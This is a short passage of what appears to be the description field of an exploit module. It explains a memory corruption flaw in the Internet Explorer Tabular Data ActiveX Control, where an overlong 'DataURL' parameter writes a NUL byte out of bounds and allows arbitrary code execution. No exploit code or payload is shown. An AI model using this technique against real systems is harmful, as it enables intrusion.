'Description' => %q{  
This module exploits a memory corruption vulnerability in the Internet Explorer  
Tabular Data ActiveX Control. Microsoft reports that version 5.01 and 6 of Internet   
Explorer are vulnerable.  
  
By specifying a long value as the "DataURL" parameter to this control, it is possible  
to write a NUL byte outside the bounds of an array. By targeting control flow data  
on the stack, an attacker can execute arbitrary code.
